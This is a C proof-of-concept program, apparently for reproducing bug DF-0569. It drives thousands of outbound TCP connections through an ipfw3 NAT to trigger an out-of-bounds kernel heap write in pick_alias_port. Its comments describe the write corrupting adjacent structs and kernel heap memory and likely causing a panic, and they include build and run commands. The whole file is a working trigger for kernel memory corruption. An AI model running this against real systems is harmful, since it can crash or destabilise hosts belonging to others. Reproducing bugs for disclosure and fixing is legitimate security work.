DF-0569 / nat_oob_trigger_tcp.c
/* * DF-0569 — NAT alias_port OOB write trigger (TCP variant). * * Drives many short outbound TCP connections through the ipfw3 NAT to * exercise pick_alias_port (ip_fw3_nat.c:436). Each new TCP flow * creates a NAT state and stores the (byte-swapped) alias_port into * tcp_in[] without ntohs — an OOB heap write that fires ~1.56% of * the time. The TCP path is MORE DANGEROUS than UDP because the OOB * writes go BEFORE tcp_in[] into the cfg_alias struct's own ip/next * fields or into the kernel heap preceding the allocation, rather * than into the harmless tail of tcp_in[] as with UDP. * * MUST be used with an SSH-protection rule (allow tcp src-port 22 out) * installed BEFORE the NAT rule, or SSH will break. * * Build: cc -O2 -o nat_oob_trigger_tcp nat_oob_trigger_tcp.c * Run: ./nat_oob_trigger_tcp <count> <dst_ip> */ #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <fcntl.h> int main(int argc, char *argv[]) { int count = (argc > 1) ? atoi(argv[1]) : 5000; const char *dst_ip = (argc > 2) ? argv[2] : "10.0.2.2"; struct sockaddr_in dst; int i, connected = 0; signal(SIGPIPE, SIG_IGN); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; inet_aton(dst_ip, &dst.sin_addr); fprintf(stderr, "DF-0569 TCP: driving %d outbound TCP connections to %s " "(expect ~%.0f OOB writes at 1.56%%)\n", count, dst_ip, count * 0.0156); fprintf(stderr, "TCP OOB writes go BEFORE tcp_in[] into heap/struct => " "more likely to panic\n"); for (i = 0; i < count; i++) { int fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { if (errno == EMFILE || errno == ENFILE) { usleep(10000); continue; } perror("socket"); break; } struct timeval tv = { .tv_sec = 0, .tv_usec = 200000 }; setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); dst.sin_port = htons(1 + (i % 1000)); int ret = connect(fd, (struct sockaddr *)&dst, sizeof(dst)); if (ret == 0) connected++; close(fd); if ((i + 1) % 500 == 0) fprintf(stderr, " %d/%d connections (%d connected)\n", i + 1, count, connected); } printf("DF-0569 TCP: completed %d connection attempts (%d connected)\n", i, connected); printf("Each new connection called pick_alias_port; ~%.0f should have " "triggered OOB writes into heap BEFORE tcp_in[0].\n", i * 0.0156); return 0; } |